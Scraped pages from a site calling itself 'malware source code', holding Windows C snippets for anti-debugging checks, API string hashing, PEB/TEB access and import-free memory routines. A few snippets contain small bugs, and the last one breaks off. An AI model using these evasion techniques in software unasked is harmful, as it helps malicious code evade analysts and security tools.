RtlInitUnicodeString | malware source code Copy VOID RtlInitUnicodeString(_Inout_ PUNICODE_STRING DestinationString, _In_ PCWSTR SourceString) { SIZE_T DestSize; if (SourceString) { DestSize = StringLengthW(SourceString) * sizeof(WCHAR); DestinationString->Length = (USHORT)DestSize; DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR); } else { DestinationString->Length = 0; DestinationString->MaximumLength = 0; } DestinationString->Buffer = (PWCHAR)SourceString; } [PreviousRtlInitAnsiString](https://malwaresourcecode.com/home/code-base/markdown/rtlinitansistring) [NextRandom Integer](https://malwaresourcecode.com/home/code-base/markdown/random-integer) Last updated 8 days ago --- # Antidebugging Methods | malware source code [CloseHandleOnInvalidAddress](https://malwaresourcecode.com/home/antidebugging-methods/closehandleoninvalidaddress) [IsDebuggerPresentEx](https://malwaresourcecode.com/home/antidebugging-methods/isdebuggerpresentex) [IsIntelHardwareBreakpointPresent](https://malwaresourcecode.com/home/antidebugging-methods/isintelhardwarebreakpointpresent) [PreviousWyHash](https://malwaresourcecode.com/home/string-hashing/wyhash) [NextCloseHandleOnInvalidAddress](https://malwaresourcecode.com/home/antidebugging-methods/closehandleoninvalidaddress) --- # IsDebuggerPresentEx | malware source code Copy BOOL IsDebuggerPresentEx(VOID) { return GetPeb()->BeingDebugged; } [PreviousCloseHandleOnInvalidAddress](https://malwaresourcecode.com/home/antidebugging-methods/closehandleoninvalidaddress) [NextIsIntelHardwareBreakpointPresent](https://malwaresourcecode.com/home/antidebugging-methods/isintelhardwarebreakpointpresent) Last updated 10 months ago --- # WCharToCharSafe | malware source code Copy #include SIZE_T WCharStringToCharString2(PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed) { SIZE_T Index = 0; for (; Index < MaximumAllowed - 1 && Source[Index]; ++Index) { WCHAR IndividualCharacter = Source[Index]; if (IndividualCharacter > 0x7f) Destination[Index] = '?'; else Destination[Index] = (CHAR)IndividualCharacter; } Destination[Index] = '\0'; return Index; } INT main(VOID) { WCHAR String1[] = L"I like cats a lot"; CHAR String2[256] = { 0 }; SIZE_T Length = 0; Length = WCharStringToCharString2(String2, String1, 256); return ERROR_SUCCESS; } [PreviousWCharToCharUnsafe](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char/wchartocharunsafe) [NextShlwapiWcharToChar](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char/shlwapiwchartochar) Last updated 1 day ago --- # WCharToCharUnsafe | malware source code Copy #include SIZE_T WCharStringToCharString(PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed) { INT Length = (INT)MaximumAllowed; while (--Length >= 0) { #pragma warning( push ) #pragma warning( disable : 4244) if (!(*Destination++ = *Source++)) return MaximumAllowed - Length - 1; #pragma warning( pop ) } return MaximumAllowed - Length; } INT main(VOID) { WCHAR String1[] = L"I like cats a lot"; CHAR String2[256] = { 0 }; SIZE_T Length = 0; Length = WCharStringToCharString(String2, String1, 256); return ERROR_SUCCESS; } [PreviousWCHAR to CHAR](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char) [NextWCharToCharSafe](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char/wchartocharsafe) Last updated 1 day ago --- # RtlInitAnsiString | malware source code Copy VOID RtlInitAnsiString(_Inout_ PANSI_STRING DestinationString, _In_ PCSTR SourceString) { SIZE_T Size; if (SourceString) { Size = StringLengthA(SourceString); if (Size > (65535 - sizeof(CHAR))) Size = 65535 - sizeof(CHAR); DestinationString->Length = (USHORT)Size; DestinationString->MaximumLength = (USHORT)Size + sizeof(CHAR); } else { DestinationString->Length = 0; DestinationString->MaximumLength = 0; } DestinationString->Buffer = (PCHAR)SourceString; } [PreviousStringTerminateStringAtChar](https://malwaresourcecode.com/home/code-base/markdown/stringterminatestringatchar) [NextRtlInitUnicodeString](https://malwaresourcecode.com/home/code-base/markdown/rtlinitunicodestring) Last updated 8 days ago --- # Random Integer | malware source code [RtlUniform](https://malwaresourcecode.com/home/code-base/markdown/random-integer/rtluniform) [IOCTL Cng Random](https://malwaresourcecode.com/home/code-base/markdown/random-integer/ioctl-cng-random) [IOCTL KsecDD Random](https://malwaresourcecode.com/home/code-base/markdown/random-integer/ioctl-ksecdd-random) [WinRT CryptographicBufferStatics](https://malwaresourcecode.com/home/code-base/markdown/random-integer/winrt-cryptographicbufferstatics) [PreviousRtlInitUnicodeString](https://malwaresourcecode.com/home/code-base/markdown/rtlinitunicodestring) [NextRtlUniform](https://malwaresourcecode.com/home/code-base/markdown/random-integer/rtluniform) --- # CloseHandleOnInvalidAddress | malware source code Copy BOOL AdfCloseHandleOnInvalidAddress(VOID) { __try { #pragma warning( push ) #pragma warning( disable : 4312) CloseHandle((HANDLE)0xDEADBEEF); #pragma warning( pop ) return FALSE; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return TRUE; } return FALSE; } [PreviousAntidebugging Methods](https://malwaresourcecode.com/home/antidebugging-methods) [NextIsDebuggerPresentEx](https://malwaresourcecode.com/home/antidebugging-methods/isdebuggerpresentex) Last updated 10 months ago --- # StringTerminateStringAtChar | malware source code This code terminates a string at the first occurance of the character specified. Copy PCHAR StringTerminateStringAtCharA(_Inout_ PCHAR String, _In_ INT Character) { DWORD Length = (DWORD)StringLengthA(String); for (DWORD Index = 0; Index < Length; Index++) { if (String[Index] == Character) { String[Index] = '\0'; return String; } } return NULL; } PWCHAR StringTerminateStringAtCharW(_Inout_ PWCHAR String, _In_ INT Character) { DWORD Length = (DWORD)StringLengthW(String); for (DWORD Index = 0; Index < Length; Index++) { if (String[Index] == Character) { String[Index] = '\0'; return String; } } return NULL; } [PreviousCharArrayToByteArray](https://malwaresourcecode.com/home/code-base/markdown/chararraytobytearray) [NextRtlInitAnsiString](https://malwaresourcecode.com/home/code-base/markdown/rtlinitansistring) Last updated 8 days ago --- # ZeroMemory | malware source code [ImplZeroMemory1](https://malwaresourcecode.com/home/code-base/markdown/zeromemory/implzeromemory1) [ImplZeroMemory2](https://malwaresourcecode.com/home/code-base/markdown/zeromemory/implzeromemory2) [PreviousConvertCharStringToInt (NTDLL)](https://malwaresourcecode.com/home/code-base/markdown/convertcharstringtoint-ntdll) [NextImplZeroMemory1](https://malwaresourcecode.com/home/code-base/markdown/zeromemory/implzeromemory1) --- # RtlUniform | malware source code Copy #include ULONG CreatePseudoRandomIntegerFromNtdll(_In_ ULONG Seed) { typedef ULONG(NTAPI* RTLUNIFORM)(PULONG); RTLUNIFORM RtlUniform = NULL; HMODULE hModule = NULL; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return 0; RtlUniform = (RTLUNIFORM)GetProcAddress(hModule, "RtlUniform"); if (!RtlUniform) return 0; return RtlUniform(&Seed); } INT main(VOID) { ULONG RandomValue = 0; RandomValue = CreatePseudoRandomIntegerFromNtdll(1); return ERROR_SUCCESS; } [PreviousRandom Integer](https://malwaresourcecode.com/home/code-base/markdown/random-integer) [NextIOCTL Cng Random](https://malwaresourcecode.com/home/code-base/markdown/random-integer/ioctl-cng-random) Last updated 3 hours ago --- # ConvertCharStringToInt (NTDLL) | malware source code ConvertCharacterStringToIntegerUsingNtdllW is dependent on WCharStringToCharString Copy typedef NTSTATUS(NTAPI* RTLCHARTOINTEGER)(PCHAR, ULONG, PULONG); ULONG ConvertCharacterStringToIntegerUsingNtdllA(_In_ PCHAR InString) { RTLCHARTOINTEGER RtlCharToInteger = NULL; HMODULE hModule = NULL; ULONG ConvertedString = ERROR_SUCCESS; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return 0; RtlCharToInteger = (RTLCHARTOINTEGER)GetProcAddress(hModule, "RtlCharToInteger"); if (!RtlCharToInteger) return 0; if (RtlCharToInteger(InString, 10, &ConvertedString) != STATUS_SUCCESS) return 0; return ConvertedString; } ULONG ConvertCharacterStringToIntegerUsingNtdllW(_In_ PWCHAR InString) { RTLCHARTOINTEGER RtlCharToInteger = NULL; HMODULE hModule = NULL; ULONG ConvertedString = ERROR_SUCCESS; CHAR pBuffer[MAX_PATH] = { 0 }; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) return 0; RtlCharToInteger = (RTLCHARTOINTEGER)GetProcAddress(hModule, "RtlCharToInteger"); if (!RtlCharToInteger) return 0; WCharStringToCharString(pBuffer, InString, StringLengthW((PWCHAR)InString)); if (RtlCharToInteger(pBuffer, 10, &ConvertedString) != STATUS_SUCCESS) return 0; return ConvertedString; } [PreviousWinRT CryptographicBufferStatics](https://malwaresourcecode.com/home/code-base/markdown/random-integer/winrt-cryptographicbufferstatics) [NextZeroMemory](https://malwaresourcecode.com/home/code-base/markdown/zeromemory) Last updated 8 days ago --- # IsIntelHardwareBreakpointPresent | malware source code Copy BOOL IsIntelHardwareBreakpointPresent(VOID) { BOOL bFlag = FALSE; PCONTEXT Context = NULL; Context = (PCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE); if (Context == NULL) return FALSE; ZeroMemory(Context, sizeof(Context)); Context->ContextFlags = CONTEXT_DEBUG_REGISTERS; if (!GetThreadContext(GetCurrentThreadNoForward(), Context)) goto EXIT_ROUTINE; if (Context->Dr0 || Context->Dr1 || Context->Dr2 || Context->Dr3) bFlag = TRUE; EXIT_ROUTINE: if (Context) VirtualFree(Context, 0, MEM_RELEASE); return bFlag; } [PreviousIsDebuggerPresentEx](https://malwaresourcecode.com/home/antidebugging-methods/isdebuggerpresentex) [NextLibrary Loading](https://malwaresourcecode.com/home/library-loading) Last updated 10 months ago --- # ImplZeroMemory1 | malware source code A raw implemention of ZeroMemory. Depending on your compiler settings, the compiler will automatically optimize this function to memset. This will result in your binary containing an import Update: Code fixed on 2025.02.14. ImplZeroMemory1 would fail on buffers which were not 32bit aligned. Copy #include VOID ImplZeroMemory1(_Inout_ PVOID Destination, _In_ SIZE_T Size) { PBYTE Dest = (PBYTE)Destination; while (Size--) { *Dest++ = 0; } } INT main(VOID) { WCHAR String1[] = L"I like cats a lot"; ImplZeroMemory1(String1, sizeof(String1)); return ERROR_SUCCESS; } [PreviousZeroMemory](https://malwaresourcecode.com/home/code-base/markdown/zeromemory) [NextImplZeroMemory2](https://malwaresourcecode.com/home/code-base/markdown/zeromemory/implzeromemory2) Last updated 1 day ago --- # ImplZeroMemory2 | malware source code This implemention of ZeroMemory will not be optimized by the compiler. It was ensure no imports are present in your binary Copy #include VOID ImplZeroMemory2(_Inout_ PVOID Destination, _In_ SIZE_T Size) { PCHAR Pointer = (PCHAR)Destination; PCHAR End = Pointer + Size; for (;;) { if (Pointer >= End) break; *Pointer++ = 0; if (Pointer >= End) break; *Pointer++ = 0; if (Pointer >= End) break; *Pointer++ = 0; if (Pointer >= End) break; *Pointer++ = 0; } } INT main(VOID) { WCHAR String1[] = L"I like cats a lot"; ImplZeroMemory2(String1, sizeof(String1)); return ERROR_SUCCESS; } [PreviousImplZeroMemory1](https://malwaresourcecode.com/home/code-base/markdown/zeromemory/implzeromemory1) [NextString Hashing](https://malwaresourcecode.com/home/string-hashing) Last updated 1 day ago --- # JenkinsOneAtATime32Bit | malware source code Copy #include UINT32 HashStringJenkinsOneAtATime32W(PWCHAR String) { UINT32 Hash = 0; while (*String) { Hash += (UINT16)*String++; Hash += (Hash << 10); Hash ^= (Hash >> 6); } Hash += (Hash << 3); Hash ^= (Hash >> 11); Hash += (Hash << 15); return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringJenkinsOneAtATime32W(StringHashExample); return ERROR_SUCCESS; } [PreviousFowlerNollVoVariant1a 32](https://malwaresourcecode.com/home/string-hashing/fowlernollvovariant1a-32) [NextFowlerNollVoVariant1a 64](https://malwaresourcecode.com/home/string-hashing/fowlernollvovariant1a-64) Last updated 1 day ago --- # FowlerNollVoVariant1a 64 | malware source code Copy #include UINT64 HashStringFnv1a64W(PWCHAR String) { UINT64 Hash = 0xCBF29CE484222325ULL; while (*String) { Hash ^= (UINT8)*String++; Hash *= 0x100000001B3ULL; } return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT64 Hash = 0; Hash = HashStringFnv1a64W(StringHashExample); return ERROR_SUCCESS; } [PreviousJenkinsOneAtATime32Bit](https://malwaresourcecode.com/home/string-hashing/jenkinsoneatatime32bit) [NextLoseLose](https://malwaresourcecode.com/home/string-hashing/loselose) Last updated 1 day ago --- # Sdbm | malware source code Copy #include UINT32 HashStringSdbmW(PWCHAR String) { UINT32 Hash = 0; while (*String) { Hash = (UINT32)(*String) + (Hash << 6) + (Hash << 16) - Hash; String++; } return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringSdbmW(StringHashExample); return ERROR_SUCCESS; } [PreviousMurmur3](https://malwaresourcecode.com/home/string-hashing/murmur3) [NextSipHash](https://malwaresourcecode.com/home/string-hashing/siphash) Last updated 2 days ago --- # String Hashing | malware source code [Djb2](https://malwaresourcecode.com/home/string-hashing/djb2) [Djb2a](https://malwaresourcecode.com/home/string-hashing/djb2a) [FowlerNollVoVariant1a 32](https://malwaresourcecode.com/home/string-hashing/fowlernollvovariant1a-32) [JenkinsOneAtATime32Bit](https://malwaresourcecode.com/home/string-hashing/jenkinsoneatatime32bit) [FowlerNollVoVariant1a 64](https://malwaresourcecode.com/home/string-hashing/fowlernollvovariant1a-64) [LoseLose](https://malwaresourcecode.com/home/string-hashing/loselose) [Murmur3](https://malwaresourcecode.com/home/string-hashing/murmur3) [Sdbm](https://malwaresourcecode.com/home/string-hashing/sdbm) [SipHash](https://malwaresourcecode.com/home/string-hashing/siphash) [SuperFastHash](https://malwaresourcecode.com/home/string-hashing/superfasthash) [Pjw](https://malwaresourcecode.com/home/string-hashing/pjw) [XXHash](https://malwaresourcecode.com/home/string-hashing/xxhash) [Crc32NoTable](https://malwaresourcecode.com/home/string-hashing/crc32notable) [Rotr32 Add 13](https://malwaresourcecode.com/home/string-hashing/rotr32-add-13) [Rotr32 Add 7](https://malwaresourcecode.com/home/string-hashing/rotr32-add-7) [Lookup3](https://malwaresourcecode.com/home/string-hashing/lookup3) [Jhash](https://malwaresourcecode.com/home/string-hashing/jhash) [WyHash](https://malwaresourcecode.com/home/string-hashing/wyhash) [PreviousImplZeroMemory2](https://malwaresourcecode.com/home/code-base/markdown/zeromemory/implzeromemory2) [NextDjb2](https://malwaresourcecode.com/home/string-hashing/djb2) Last updated 2 days ago --- # FowlerNollVoVariant1a 32 | malware source code Copy #include UINT32 HashStringFnv1a32W(PWCHAR String) { UINT32 Hash = 0x811C9DC5; while (*String) { Hash ^= (UINT8)*String++; Hash *= 0x01000193; } return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringFnv1a32W(StringHashExample); return ERROR_SUCCESS; } [PreviousDjb2a](https://malwaresourcecode.com/home/string-hashing/djb2a) [NextJenkinsOneAtATime32Bit](https://malwaresourcecode.com/home/string-hashing/jenkinsoneatatime32bit) Last updated 1 day ago --- # Djb2a | malware source code Copy #include UINT32 HashStringDjb2aW(PWCHAR String) { UINT32 Hash = 5381; UCHAR c = 0; while ((c = (BYTE)*String++)) Hash = ((Hash << 5) + Hash) ^ c; return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringDjb2aW(StringHashExample); return ERROR_SUCCESS; } [PreviousDjb2](https://malwaresourcecode.com/home/string-hashing/djb2) [NextFowlerNollVoVariant1a 32](https://malwaresourcecode.com/home/string-hashing/fowlernollvovariant1a-32) Last updated 1 day ago --- # Library Loading | malware source code [GetTeb](https://malwaresourcecode.com/home/library-loading/getteb) [GetPeb](https://malwaresourcecode.com/home/library-loading/getpeb) [GetKUserSharedData](https://malwaresourcecode.com/home/library-loading/getkusershareddata) [RtlLoadPeHeaders](https://malwaresourcecode.com/home/library-loading/rtlloadpeheaders) [LdrLoadGetProcedureAddress](https://malwaresourcecode.com/home/library-loading/ldrloadgetprocedureaddress) [GetRtlUserProcessParameters](https://malwaresourcecode.com/home/library-loading/getrtluserprocessparameters) [ProxyRegisterWaitLoadLibrary](https://malwaresourcecode.com/home/library-loading/proxyregisterwaitloadlibrary) [ProxyWorkItemLoadLibrary](https://malwaresourcecode.com/home/library-loading/proxyworkitemloadlibrary) [Function Import Methods](https://malwaresourcecode.com/home/library-loading/function-import-methods) [PreviousIsIntelHardwareBreakpointPresent](https://malwaresourcecode.com/home/antidebugging-methods/isintelhardwarebreakpointpresent) [NextGetTeb](https://malwaresourcecode.com/home/library-loading/getteb) --- # GetTeb | malware source code Copy PTEB GetTeb(VOID) { #if defined(_WIN64) return (PTEB)__readgsqword(0x30); #elif defined(_WIN32) return (PTEB)__readfsdword(0x18); #endif } [PreviousLibrary Loading](https://malwaresourcecode.com/home/library-loading) [NextGetPeb](https://malwaresourcecode.com/home/library-loading/getpeb) Last updated 10 months ago --- # Djb2 | malware source code Copy #include UINT32 HashStringDjb2W(PWCHAR String) { UINT32 Hash = 5381; UCHAR c = 0; while ((c = (BYTE)*String++)) Hash = ((Hash << 5) + Hash) + c; return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringDjb2W(StringHashExample); return ERROR_SUCCESS; } [PreviousString Hashing](https://malwaresourcecode.com/home/string-hashing) [NextDjb2a](https://malwaresourcecode.com/home/string-hashing/djb2a) Last updated 1 day ago --- # LoseLose | malware source code Copy #include UINT HashStringLoseLoseW(PWCHAR String) { UINT Hash = 0; INT CharacterByte = 0; while ((CharacterByte = *String++)) Hash += CharacterByte; return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT Hash = 0; Hash = HashStringLoseLoseW(StringHashExample); return ERROR_SUCCESS; } [PreviousFowlerNollVoVariant1a 64](https://malwaresourcecode.com/home/string-hashing/fowlernollvovariant1a-64) [NextMurmur3](https://malwaresourcecode.com/home/string-hashing/murmur3) Last updated 1 day ago --- # WinRT CryptographicBufferStatics | malware source code Copy #include #include #include #pragma comment(lib, "runtimeobject.lib") typedef GUID IID; enum BinaryStringEncoding : int { BinaryStringEncoding_Utf8 = 0, BinaryStringEncoding_Utf16LE = 1, BinaryStringEncoding_Utf16BE = 2, }; MIDL_INTERFACE("905a0fe0-bc53-11df-8c49-001e4fc686da") IBuffer : public IInspectable { public: virtual HRESULT STDMETHODCALLTYPE get_Capacity(PUINT32) = 0; virtual HRESULT STDMETHODCALLTYPE get_Length(PUINT32) = 0; virtual HRESULT STDMETHODCALLTYPE put_Length(UINT32) = 0; }; const __declspec(selectany) IID& IID_IBuffer = __uuidof(IBuffer); MIDL_INTERFACE("320b7e22-3cb0-4cdf-8663-1d28910065eb") ICryptographicBufferStatics : public IInspectable { public: virtual HRESULT STDMETHODCALLTYPE Compare(IBuffer*, IBuffer*, PBYTE) = 0; virtual HRESULT STDMETHODCALLTYPE GenerateRandom(UINT32, IBuffer**) = 0; virtual HRESULT STDMETHODCALLTYPE GenerateRandomNumber(PUINT32) = 0; virtual HRESULT STDMETHODCALLTYPE CreateFromByteArray(UINT32, PBYTE, IBuffer**) = 0; virtual HRESULT STDMETHODCALLTYPE CopyToByteArray(IBuffer*, PUINT32, PBYTE*) = 0; virtual HRESULT STDMETHODCALLTYPE DecodeFromHexString(HSTRING, IBuffer**) = 0; virtual HRESULT STDMETHODCALLTYPE EncodeToHexString(IBuffer*, HSTRING*) = 0; virtual HRESULT STDMETHODCALLTYPE DecodeFromBase64String(HSTRING, IBuffer**) = 0; virtual HRESULT STDMETHODCALLTYPE EncodeToBase64String(IBuffer*, HSTRING*) = 0; virtual HRESULT STDMETHODCALLTYPE ConvertStringToBinary(HSTRING, BinaryStringEncoding, IBuffer**) = 0; virtual HRESULT STDMETHODCALLTYPE ConvertBinaryToString(BinaryStringEncoding, IBuffer*, HSTRING*) = 0; }; const __declspec(selectany) IID& IID_ICryptographicBufferStatics = __uuidof(ICryptographicBufferStatics); DWORD Win32FromHResult(_In_ HRESULT Result) { if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0)) return HRESULT_CODE(Result); if (Result == S_OK) return ERROR_SUCCESS; return ERROR_CAN_NOT_COMPLETE; } SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } INT main(VOID) { HRESULT Result = S_OK; HSTRING Class = NULL; ICryptographicBufferStatics* Statics = NULL; UINT32 Random = 0; Result = RoInitialize(RO_INIT_MULTITHREADED); if (!SUCCEEDED(Result)) return Win32FromHResult(Result); Result = WindowsCreateString(L"Windows.Security.Cryptography.CryptographicBuffer", (UINT32)StringLengthW(L"Windows.Security.Cryptography.CryptographicBuffer"), &Class); if (!SUCCEEDED(Result) || Class == NULL) goto EXIT_ROUTINE; Result = RoGetActivationFactory(Class, __uuidof(ICryptographicBufferStatics), (PVOID*)&Statics); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Statics->GenerateRandomNumber(&Random); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; EXIT_ROUTINE: if (Class) WindowsDeleteString(Class); if(Statics) Statics->Release(); RoUninitialize(); return (!SUCCEEDED(Result) ? Win32FromHResult(Result) : ERROR_SUCCESS); } [PreviousIOCTL KsecDD Random](https://malwaresourcecode.com/home/code-base/markdown/random-integer/ioctl-ksecdd-random) [NextConvertCharStringToInt (NTDLL)](https://malwaresourcecode.com/home/code-base/markdown/convertcharstringtoint-ntdll) Last updated 1 minute ago --- # IOCTL Cng Random | malware source code Proof-of-concept initially developed by [Grzegorz Tworek](https://x.com/0gtweet) Copy #include #define OBJ_CASE_INSENSITIVE 0x00000040L #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 #define NT_SUCCESS(Status)(((NTSTATUS)(Status)) >= 0) #define IOCTL_KSEC_RNG CTL_CODE(FILE_DEVICE_KSEC, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } #define InitializeObjectAttributes(p, n, a, r, s) { \ (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } VOID ImplZeroMemory1(_Inout_ PVOID Destination, _In_ SIZE_T Size) { PBYTE Dest = (PBYTE)Destination; while (Size--) { *Dest++ = 0; } } VOID RtlInitUnicodeString(_Inout_ PUNICODE_STRING DestinationString, _In_ PCWSTR SourceString) { SIZE_T DestSize; if (SourceString) { DestSize = StringLengthW(SourceString) * sizeof(WCHAR); DestinationString->Length = (USHORT)DestSize; DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR); } else { DestinationString->Length = 0; DestinationString->MaximumLength = 0; } DestinationString->Buffer = (PWCHAR)SourceString; } BOOL GetRandomIntegerCryptoNextGenDeviceObject(PUINT32 RandomInteger) { typedef NTSTATUS(NTAPI* NTOPENFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, ULONG, ULONG); typedef NTSTATUS(NTAPI* NTDEVICEIOCONTROLFILE)(HANDLE, HANDLE, PVOID, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG); typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE); NTOPENFILE NtOpenFile = NULL; NTDEVICEIOCONTROLFILE NtDeviceIoControlFile = NULL; NTCLOSE NtClose = NULL; NTSTATUS Status = 0; HMODULE Module = NULL; UNICODE_STRING DriverName = { 0 }; OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; IO_STATUS_BLOCK Io = { 0 }; HANDLE Handle = NULL; BYTE Buffer[16] = { 0 }; BOOL Flag = FALSE; Module = GetModuleHandleA("ntdll.dll"); if (Module == NULL) goto EXIT_ROUTINE; NtOpenFile = (NTOPENFILE)GetProcAddress(Module, "NtOpenFile"); NtDeviceIoControlFile = (NTDEVICEIOCONTROLFILE)GetProcAddress(Module, "NtDeviceIoControlFile"); NtClose = (NTCLOSE)GetProcAddress(Module, "NtClose"); if (!NtOpenFile || !NtDeviceIoControlFile || !NtClose) goto EXIT_ROUTINE; RtlInitUnicodeString(&DriverName, L"\\Device\\CNG"); InitializeObjectAttributes(&ObjectAttributes, &DriverName, OBJ_CASE_INSENSITIVE, 0, 0); Status = NtOpenFile(&Handle, SYNCHRONIZE | FILE_READ_DATA, &ObjectAttributes, &Io, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; ImplZeroMemory1(&Io, sizeof(IO_STATUS_BLOCK)); Status = NtDeviceIoControlFile(Handle, NULL, NULL, NULL, &Io, IOCTL_KSEC_RNG, NULL, 0, Buffer, sizeof(Buffer)); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; *RandomInteger = ((UINT32)Buffer[0]) | ((UINT32)Buffer[1] << 8) | ((UINT32)Buffer[2] << 16) | ((UINT32)Buffer[3] << 24); Flag = TRUE; EXIT_ROUTINE: if (NtClose && Handle) NtClose(Handle); return Flag; } INT main(VOID) { UINT32 Value = 0; GetRandomIntegerCryptoNextGenDeviceObject(&Value); return ERROR_SUCCESS; } [PreviousRtlUniform](https://malwaresourcecode.com/home/code-base/markdown/random-integer/rtluniform) [NextIOCTL KsecDD Random](https://malwaresourcecode.com/home/code-base/markdown/random-integer/ioctl-ksecdd-random) Last updated 43 minutes ago --- # Rotr32 Add 13 | malware source code Copy #include UINT32 ImplRotateRight32(UINT32 x, UINT32 Rotate) { return (x >> Rotate) | (x << (32 - Rotate)); } UINT32 HashStringRotateRight13Inc(PWCHAR String) { UINT32 Hash = 0; for (; *String; String++) { WCHAR Index = *String; if (Index >= 'a' && Index <= 'z') Index -= 32; Hash = ImplRotateRight32(Hash, 13); Hash += (UINT8)Index; } return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringRotateRight13Inc(StringHashExample); return ERROR_SUCCESS; } [PreviousCrc32NoTable](https://malwaresourcecode.com/home/string-hashing/crc32notable) [NextRotr32 Add 7](https://malwaresourcecode.com/home/string-hashing/rotr32-add-7) Last updated 2 days ago --- # GetPeb | malware source code Copy PPEB GetPeb(VOID) { #if defined(_WIN64) return (PPEB)__readgsqword(0x60); #elif define(_WIN32) return (PPEB)__readfsdword(0x30); #endif } PPEB GetPebFromTeb(VOID) { PTEB Teb; #if defined(_WIN64) Teb = (PTEB)__readgsqword(0x30); #elif define(_WIN32) Teb = (PTEB)__readfsdword(0x18); #endif return (PPEB)Teb->ProcessEnvironmentBlock; } [PreviousGetTeb](https://malwaresourcecode.com/home/library-loading/getteb) [NextGetKUserSharedData](https://malwaresourcecode.com/home/library-loading/getkusershareddata) Last updated 10 months ago --- # Pjw | malware source code Copy #include INT PjwHashStringW(_In_ LPCWSTR String) { PWCHAR Pointer; INT Generic; INT Hash = 0; for (Pointer = (PWCHAR)String; *Pointer != '\0'; Pointer++) { Hash = (Hash << 4) + (INT)(*Pointer); Generic = Hash & 0xF0000000L; if (Generic != 0) Hash = Hash ^ (Generic >> 24); Hash = Hash & ~Generic; } return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; INT Hash = 0; Hash = PjwHashStringW(StringHashExample); return ERROR_SUCCESS; } [PreviousSuperFastHash](https://malwaresourcecode.com/home/string-hashing/superfasthash) [NextXXHash](https://malwaresourcecode.com/home/string-hashing/xxhash) Last updated 2 days ago --- # GetKUserSharedData | malware source code Copy PKUSER_SHARED_DATA GetKUserSharedData(VOID) { return (KUSER_SHARED_DATA*)0x7FFE0000; } [PreviousGetPeb](https://malwaresourcecode.com/home/library-loading/getpeb) [NextRtlLoadPeHeaders](https://malwaresourcecode.com/home/library-loading/rtlloadpeheaders) Last updated 10 months ago --- # Rotr32 Add 7 | malware source code Copy #include UINT32 ImplRotateRight32(UINT32 x, UINT32 Rotate) { return (x >> Rotate) | (x << (32 - Rotate)); } UINT32 HashStringRotateRight7Inc(PWCHAR String) { UINT32 Hash = 0; for (; *String; String++) { WCHAR Index = *String; if (Index >= 'a' && Index <= 'z') Index -= 7; Hash = ImplRotateRight32(Hash, 7); Hash += (UINT8)Index; } return Hash; } INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringRotateRight7Inc(StringHashExample); return ERROR_SUCCESS; } [PreviousRotr32 Add 13](https://malwaresourcecode.com/home/string-hashing/rotr32-add-13) [NextLookup3](https://malwaresourcecode.com/home/string-hashing/lookup3) Last updated 2 days ago --- # LdrLoadGetProcedureAddress | malware source code Copy DWORD64 LdrLoadGetProcedureAddress(VOID) { PBYTE pFunctionName = NULL; PIMAGE_DOS_HEADER Dos = NULL; 